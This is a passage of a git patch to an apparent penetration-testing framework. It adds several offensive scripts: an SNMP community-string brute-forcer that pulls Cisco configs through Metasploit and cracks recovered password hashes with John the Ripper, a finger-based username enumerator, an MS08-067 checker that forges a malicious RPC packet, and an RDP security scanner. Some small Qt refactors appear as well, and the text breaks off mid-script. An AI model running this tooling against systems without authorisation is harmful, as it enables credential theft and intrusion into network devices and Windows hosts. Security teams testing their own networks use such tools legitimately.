(%s)'%(key,val[0],val[1])),YELLOW) - out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() - - for i in out: - print '\t',i.strip() - print '\n' - except KeyboardInterrupt: - pass - -def get_cisco_config(result,options): - printout(('################## Trying to get config with: %s'% result.community),YELLOW) - - identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() - - if options.interactive: - Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() - else: - Local_ip = identified_ip.strip() - - if not (os.path.isdir("./output")): - os.popen('mkdir output') - - p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 - - - print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ' - - out=[] - while p.poll() is None: - line=p.stdout.readline() - out.append(line) - print '\t',line.strip() - - printout('################## Passwords Found:',YELLOW) - encrypted=[] - for i in out: - if "Password" in i: - print '\t',i.strip() - if "Encrypted" in i: - encrypted.append(i.split()[-1]) - - if encrypted: - print '\nCrack encrypted password(s)?' - for i in encrypted: - print '\t',i - - #if (False if raw_input("(Y/n):").lower() == 'n' else True): - if not get_input("(Y/n):",'n',options): - - with open('./hashes', 'a') as f: - for i in encrypted: - f.write(i+'\n') - - p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) - while p.poll() is None: - print '\t',p.stdout.readline() - print 'Passwords Cracked:' - out=os.popen('john ./hashes --show').readlines() - for i in out: - print '\t', i.strip() - - out=[] - while p.poll() is None: - line=p.stdout.readline() - out.append(line) - print '\t',line.strip() - -def select_community(results,options): - default=None - try: - printout("\nIdentified Community strings",WHITE) - - for l,r in enumerate(results): - if r.write==True: - printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN) - default=l - elif r.write==False: - printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE) - else: - printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED) - - if default is None: - default = l - - if not options.enum: - return - - if options.interactive: - selection=raw_input("Select Community to Enumerate ["+str(default)+"]:") - if not selection: - selection=default - else: - selection=default - - try: - return results[int(selection)] - except: - return results[l] - except KeyboardInterrupt: - exit(0) - -def SNMPenumeration(result,options): - getcisco=defaults.getcisco - try: - printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW) - enumerateSNMPWalk(result,options) - - if options.windows or options.linux: - if not get_input("Get Cisco Config (y/N):",'y',options): - getcisco=False - if getcisco: - get_cisco_config(result,options) - except KeyboardInterrupt: - print '\n' - return - -def password_brutefore(options, communities, ips): - s = socket(AF_INET, SOCK_DGRAM) - s.settimeout(options.timeOut) - - results=[] - - #Start the listener - T = threading.Thread(name='listener', target=listener, args=(s,results,)) - T.start() - - # Craft SNMP's for both versions - p1 = SNMP( - version=SNMPVersion.iversion('v1'), - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) - ) - p2c = SNMP( - version=SNMPVersion.iversion('v2c'), - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) - ) - - packets = [p1, p2c] - - #We try each community string - for i,community in enumerate(communities): - #sys.stdout.write('\r{0}'.format('.' * i)) - #sys.stdout.flush() - for ip in ips: - SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) - - #We read from STDIN if necessary - if options.stdin: - while True: - try: - try: - community=raw_input().strip('\n') - for ip in ips: - SNMPsend(s, packets, ip, options.port, community, options.rate) - except EOFError: - break - except KeyboardInterrupt: - break - - try: - print "Waiting for late packets (CTRL+C to stop)" - sleep(options.timeOut+options.delay) #Waiting in case of late response - except KeyboardInterrupt: - pass - T._Thread__stop() - s.close - - #We remove any duplicates. This relies on the __equal__ - newlist = [] - for i in results: - if i not in newlist: - newlist.append(i) - return newlist - -def get_input(string,non_default_option,options): - #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False) - - if options.interactive: - if raw_input(string).lower() == non_default_option: - return True - else: - return False - else: - print string - return False - -def main(): - - parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) - - parser.set_usage("python snmp-brute.py -t -f ") - #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) - parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') - parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') - parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) - - - groupAlt = optparse.OptionGroup(parser, "Alternative Options") - groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) - groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') - groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) - - - groupAuto = optparse.OptionGroup(parser, "Automation") - groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) - groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) - groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) - - groupAdvanced = optparse.OptionGroup(parser, "Advanced") - groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) - groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) - groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) - - groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') - groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) - - groupOS = optparse.OptionGroup(parser, "Operating Systems") - groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) - groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) - groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) - - parser.add_option_group(groupAdvanced) - parser.add_option_group(groupAuto) - parser.add_option_group(groupOS) - parser.add_option_group(groupAlt) - - (options, arguments) = parser.parse_args() - - communities=[] - ips=[] - - banner(options.colour) #For SPARTA!!! - - if not options.ip and not options.lfile: - #Can't continue without target - parser.print_help() - exit(0) - else: - # Create the list of targets - if options.lfile: - try: - with open(options.lfile) as t: - ips = t.read().splitlines() #Potential DoS - except: - print "Could not open targets file: " + options.lfile - exit(0) - else: - ips.append(options.ip) - - if not options.colour: - defaults.colour=False - - # Create the list of communities - if options.dictionary: # Read from file - with open(options.dictionary) as f: - communities=f.read().splitlines() #Potential DoS - elif options.community: # Single community - communities.append(options.community) - elif options.stdin: # Read from input - communities=[] - else: #if not options.community and not options.dictionary and not options.stdin: - communities=default_communities - - #We ensure that default communities are included - #if 'public' not in communities: - # communities.append('public') - #if 'private' not in communities: - # communities.append('private') - - if options.stdin: - options.interactive=False - - results=[] - - if options.stdin: - print >> sys.stderr, "Reading input for community strings ..." - else: - print >> sys.stderr, "Trying %d community strings ..." % len(communities) - - if options.sploitego: #sploitego method of bruteforce - if ips: - for ip in ips: - for version in ['v1', 'v2c']: - bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) - result=bf.guess(communities) - for i in result: - r=SNMPResults() - r.addr=(ip,options.port) - r.version=version - r.community=i - results.append(r) - print ip, version+'\t',result - else: - parser.print_help() - - else: - results = password_brutefore(options, communities, ips) - - #We identify whether the community strings are read or write - if results: - printout("\nTrying identified strings for READ-WRITE ...",WHITE) - testSNMPWrite(results,options) - else: - printout("\nNo Community strings found",RED) - exit(0) - - #We attempt to enumerate the router - while options.enum: - SNMPenumeration(select_community(results,options),options) - - #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False): - if get_input("Enumerate with different community? (y/N):",'y',options): - continue - else: - break - - if not options.enum: - select_community(results,options) - - print "Finished!" - -if __name__ == "__main__": - main() From a792082e7fb411207229e324ac2eb5d764e9b3a3 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 06:55:29 -0500 Subject: [PATCH 035/450] Cleanup --- app/processmodels.py | 53 +- app/servicemodels.py | 14 +- scripts/fingertool.sh | 30 + scripts/ms08-067_check.py | 281 ++++++++ scripts/ndr.py | 1287 +++++++++++++++++++++++++++++++++++++ scripts/rdp-sec-check.pl | 653 +++++++++++++++++++ scripts/snmpbrute.py | 789 +++++++++++++++++++++++ 7 files changed, 3069 insertions(+), 38 deletions(-) create mode 100644 scripts/fingertool.sh create mode 100644 scripts/ms08-067_check.py create mode 100644 scripts/ndr.py create mode 100644 scripts/rdp-sec-check.pl create mode 100644 scripts/snmpbrute.py diff --git a/app/processmodels.py b/app/processmodels.py index 2a49b80e..965742b0 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -48,25 +48,29 @@ def headerData(self, section, orientation, role): return "not implemented" def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole: # how to display each cell - value = '' - row = index.row() - column = index.column() - processColumns = {1:'display', 2:'pid', 3:'name', 5:'hostip', 7:'protocol', 8:'command', 9:'starttime', 10:'endtime', 11:'outputfile', 12:'output', 13:'status', 14:'closed'} + if role != QtCore.Qt.DisplayRole: # how to display each cell + return - if column == 4: - if not self.__processes[row]['tabtitle'] == '': - value = self.__processes[row]['tabtitle'] - else: - value = self.__processes[row]['name'] - elif column == 6: - if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': - value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] - else: - value = self.__processes[row]['port'] + value = '' + row = index.row() + column = index.column() + processColumns = {1:'display', 2:'pid', 3:'name', 5:'hostip', 7:'protocol', 8:'command', 9:'starttime', 10:'endtime', 11:'outputfile', 12:'output', 13:'status', 14:'closed'} + + if column == 0: + value = '' + elif column == 4: + if not self.__processes[row]['tabtitle'] == '': + value = self.__processes[row]['tabtitle'] + else: + value = self.__processes[row]['name'] + elif column == 6: + if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': + value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] else: - value = processColumns.get(int(column)) - return value + value = self.__processes[row]['port'] + else: + value = self.__processes[row][processColumns.get(int(column))] + return value def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() @@ -77,7 +81,7 @@ def sort(self, Ncol, order): if Ncol == 5: for i in range(len(self.__processes)): array.append(IP2Int(self.__processes[i]['hostip'])) - + elif Ncol == 6: for i in range(len(self.__processes)): if self.__processes[i]['port'] == '': @@ -87,7 +91,7 @@ def sort(self, Ncol, order): else: field = sortColumns.get(int(Ncol)) or 'status' for i in range(len(self.__processes)): - array.append(self.__processes[i]['status']) + array.append(self.__processes[i][field]) sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array @@ -127,11 +131,6 @@ def getProcessStatusForId(self, dbId): def getProcessIdForRow(self, row): return self.__processes[row]['id'] - def getProcessIdForPid(self, pid): - for i in range(len(self.__processes)): - if str(self.__processes[i]['pid']) == str(pid): - return self.__processes[i]['id'] - def getToolNameForRow(self, row): return self.__processes[row]['name'] @@ -154,11 +153,5 @@ def getPortForRow(self, row): def getProtocolForRow(self, row): return self.__processes[row]['protocol'] - def getOutputForRow(self, row): - return self.__processes[row]['output'] - def getOutputfileForRow(self, row): return self.__processes[row]['outputfile'] - - def getDisplayForRow(self, row): - return self.__processes[row]['display'] diff --git a/app/servicemodels.py b/app/servicemodels.py index 7c926c62..df7d66b7 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -47,14 +47,12 @@ def data(self, index, role): # this metho if index.column() == 0 or index.column() == 2: tmp_state = self.__services[index.row()]['state'] - if tmp_state == 'open': - return QtGui.QIcon("./images/open.gif") - - elif tmp_state == 'closed': - return QtGui.QIcon("./images/closed.gif") - - else: - return QtGui.QIcon("./images/filtered.gif") + stateMap = {'open':'open', 'closed':'closed', 'filtered':'filtered'} + defaultState = 'filtered' + + stateIconName = stateMap.get(str(tmp_state)) or defaultState + stateIcon = "./images/{stateIconName}.gif".format(stateIconName=stateIconName) + return QtGui.QIcon(stateIcon) if role == QtCore.Qt.DisplayRole: # how to display each cell value = '' diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh new file mode 100644 index 00000000..cd51da9c --- /dev/null +++ b/scripts/fingertool.sh @@ -0,0 +1,30 @@ +#!/bin/bash +# fingertool - This script will enumerate users using finger +# SECFORCE - Antonio Quina + +if [ $# -eq 0 ] + then + echo "Usage: $0 []" + echo "eg: $0 10.10.10.10 users.txt" + exit + else + IP="$1" +fi + +if [ "$2" == "" ] + then + WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt" + else + WORDLIST="$2" +fi + + +for username in $(cat $WORDLIST | sort -u| uniq) + do output=$(finger -l $username@$IP) + if [[ $output == *"Directory"* ]] + then + echo "Found user: $username" + fi + done + +echo "Finished!" diff --git a/scripts/ms08-067_check.py b/scripts/ms08-067_check.py new file mode 100644 index 00000000..f2b02813 --- /dev/null +++ b/scripts/ms08-067_check.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python + +''' +Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability + +Description: +Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution) + +Author: Bernardo Damele A. G. + +License: Modified Apache 1.1 + +Version: 0.6 + +References: +* BID: 31874 +* CVE: 2008-4250 +* MSB: MS08-067 +* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx +* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx +* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/ +* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb +* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html +* MISC: http://blogs.securiteam.com/index.php/archives/1150 + +Tested: +* Windows 2000 Server Service Pack 0 +* Windows 2000 Server Service Pack 4 with Update Rollup 1 +* Microsoft 2003 Standard Service Pack 1 +* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released + +Notes: +* On Windows XP SP2 and SP3 this check might lead to a race condition and + heap corruption in the svchost.exe process, but it may not crash the + service immediately: it can trigger later on inside any of the shared + services in the process. +''' + + +import socket +import sys + +from optparse import OptionError +from optparse import OptionParser +from random import choice +from string import letters +from struct import pack +from threading import Thread +from traceback import format_exc + +try: + from impacket import smb + from impacket import uuid + from impacket.dcerpc.v5 import dcerpc + from impacket.dcerpc.v5 import transport +except ImportError, _: + print 'ERROR: this tool requires python-impacket library to be installed, get it ' + print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket' + sys.exit(1) + +try: + from ndr import * +except ImportError, _: + print 'ERROR: this tool requires python-pymsrpc library to be installed, get it ' + print 'from http://code.google.com/p/pymsrpc/' + sys.exit(1) + + +CMDLINE = False +SILENT = False + + +class connectionException(Exception): + pass + + +class MS08_067(Thread): + def __init__(self, target, port=445): + super(MS08_067, self).__init__() + + self.__port = port + self.target = target + self.status = 'unknown' + + + def __checkPort(self): + ''' + Open connection to TCP port to check if it is open + ''' + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1) + s.connect((self.target, self.__port)) + s.close() + + except socket.timeout, _: + raise connectionException, 'connection timeout' + + except socket.error, _: + raise connectionException, 'connection refused' + + + def __connect(self): + ''' + SMB connect to the Computer Browser service named pipe + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html + ''' + + try: + self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) + self.__trans.connect() + + except smb.SessionError, _: + raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __bind(self): + ''' + DCERPC bind to SRVSVC (Server Service) endpoint + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html + ''' + + try: + self.__dce = self.__trans.DCERPC_class(self.__trans) + + self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) + + except socket.error, _: + raise connectionException, 'unable to bind to SRVSVC endpoint' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __forgePacket(self): + ''' + Forge the malicious NetprPathCompare packet + + Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx + + long NetprPathCompare( + [in, string, unique] SRVSVC_HANDLE ServerName, + [in, string] WCHAR* PathName1, + [in, string] WCHAR* PathName2, + [in] DWORD PathType, + [in] DWORD Flags + ); + ''' + + self.__path = ''.join([choice(letters) for _ in xrange(0, 3)]) + + self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize() + self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize() + self.__request += ndr_wstring(data='\\%s' % self.__path).serialize() + self.__request += ndr_long(data=1).serialize() + self.__request += ndr_long(data=0).serialize() + + + def __compare(self): + ''' + Compare NetprPathCompare response field 'Windows Error' with the + expected value (WERR_OK) to confirm the target is vulnerable + ''' + + self.__vulnerable = pack(' self.high: + self.data.data = self.high + elif self.data.get_data() < self.low: + self.data.data = self.low + + return self.data.serialize() + +class ndr_enum16(ndr_primitive): + ''' + encode: /* enum16 */ short element_1; + ''' + def __init__(self, **kwargs): + self.data = kwargs.get('data', 0x0004) + self.signed = kwargs.get('signed', True) + self.name = kwargs.get('name', "") + self.size = 2 + + def get_data(self): + return self.data + + def set_data(self, new_data): + self.data = new_data + + def get_name(self): + return self.name + + def get_size(self): + return self.size + + def serialize(self): + if self.signed: + return struct.pack(" install Encoding::BER +# +# References: +# +# [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification +# http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx +# +use strict; +use warnings; +use IO::Socket::INET; +use Getopt::Long; +use Encoding::BER; + +my %rdp_neg_type; +$rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ"; +$rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP"; +$rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE"; + +my %rdp_neg_rsp_flags; +$rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET"; +$rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED"; +$rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED"; + +my %rdp_neg_protocol; +$rdp_neg_protocol{"00"} = "PROTOCOL_RDP"; +$rdp_neg_protocol{"01"} = "PROTOCOL_SSL"; +$rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID"; + +my %rdp_neg_failure_code; +$rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER"; +$rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER"; +$rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS"; +$rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"; + +my %encryption_level; +$encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE"; +$encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW"; +$encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE"; +$encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH"; +$encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS"; + +my %encryption_method; +$encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE"; +$encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT"; +$encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT"; +$encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT"; +$encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS"; + +my %version_meaning; +$version_meaning{"00080001"} = "RDP 4.0 servers"; +$version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers"; + +my $enc = Encoding::BER->new(warn => sub{}); +my %config; + +my $VERSION = "0.9-beta"; +my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) +Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com) + +$0 [ options ] ( --file hosts.txt | host | host:port ) + +options are: + + --file hosts.txt targets, one ip:port per line + --outfile out.log output logfile + --timeout sec receive timeout (default 10s) + --retries times number of retries after timeout + --verbose + --debug + --help + +Example: + $0 192.168.1.1 + $0 --file hosts.txt --timeout 15 --retries 3 + $0 --outfile rdp.log 192.168.69.69:3389 + $0 --file hosts.txt --outfile rdp.log --verbose + +"; + +my $debug = 0; +my $verbose = 0; +my $help = 0; +my $hostfile = undef; +my $outfile = undef; +my @targets = (); + +my $global_recv_timeout = 10; +my $global_connect_fail_count = 5; +my $global_connection_count = 0; + +my $result = GetOptions ( + "verbose" => \$verbose, + "debug" => \$debug, + "help" => \$help, + "file=s" => \$hostfile, + "outfile=s" => \$outfile, + "timeout=i" => \$global_recv_timeout, + "retries=i" => \$global_connection_count, +); + +if ($help) { + print $usage; + exit 0; +} + +if ($debug) { + use Data::Dumper; + use warnings FATAL => 'all'; + use Carp qw(confess); + $SIG{ __DIE__ } = sub { confess( @_ ) }; +} + +if (defined($outfile)){ + # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file + use Symbol; + my @handles = (*STDOUT); + my $handle = gensym( ); + push(@handles, $handle); + open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite; + tie *TEE, "Tie::Tee", @handles; + select(TEE); + *STDERR = *TEE; +} + +if (defined($hostfile)) { + open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n"; + while () { + chomp; chomp; + my $line = $_; + my $port = 3389; + my $host = $line; + if ($line =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + if (defined($ip)) { + push @targets, { ip => $ip, hostname => $host, port => $port }; + } else { + print "[W] Unable to resolve host $host. Ignoring line: $line\n"; + } + } + close(HOSTS); + +} else { + my $host = shift or die $usage; + my $port = 3389; + if ($host =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + unless (defined($ip)) { + die "[E] Can't resolve hostname $host\n"; + } + push @targets, { ip => $ip, hostname => $host, port => $port }; +} + +# flush after every write +$| = 1; + +my $global_starttime = time; +printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); +printf "\n[+] Scanning %s hosts\n", scalar @targets; +print Dumper \@targets if $debug > 0; + +foreach my $target_addr (@targets) { + scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port}); +} + +print "\n"; +printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime); +print "\n"; + +sub scan_host { + my ($host, $ip, $port) = @_; + print "\n"; + print "Target: $host\n"; + print "IP: $ip\n"; + print "Port: $port\n"; + print "\n"; + print "[+] Connecting to $ip:$port\n" if $debug > 1; + my $socket; + my @response; + + print "[+] Checking supported protocols\n\n"; + print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported..."; + $socket = get_socket($ip, $port); + @response = test_std_rdp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_RDP"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } + + print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported..."; + $socket = get_socket($ip, $port); + @response = test_tls_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } + + print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; + $socket = get_socket($ip, $port); + @response = test_credssp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } + print "\n"; + print "[+] Checking RDP Security Layer\n\n"; + foreach my $enc_hex (qw(00 01 02 08 10)) { + printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; + $socket = get_socket($ip, $port); + @response = test_classic_rdp_security($socket); + + if (scalar @response == 11) { + my @response_mcs = test_mcs_initial_connect($socket, $enc_hex); + unless (scalar(@response_mcs) > 8) { + print "Not supported\n"; + next; + } + my $length1 = ord($response_mcs[8]); + my $ber_encoded = join("", splice @response_mcs, 7); + my $ber = $enc->decode($ber_encoded); + my $user_data = $ber->{value}->[3]->{value}; + my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s; + + my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/; + my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/; + my $server_cert_length_i = unpack("V", $server_cert_length); + my $random_length_i = unpack("V", $random_length); + if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) { + printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP + } else { + printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0; + } + my $random = substr $sc_sec, 16, $random_length_i; + my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i; + } else { + print "Not supported\n"; + } + } + + if ($config{"protocols"}{"PROTOCOL_HYBRID"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) { + 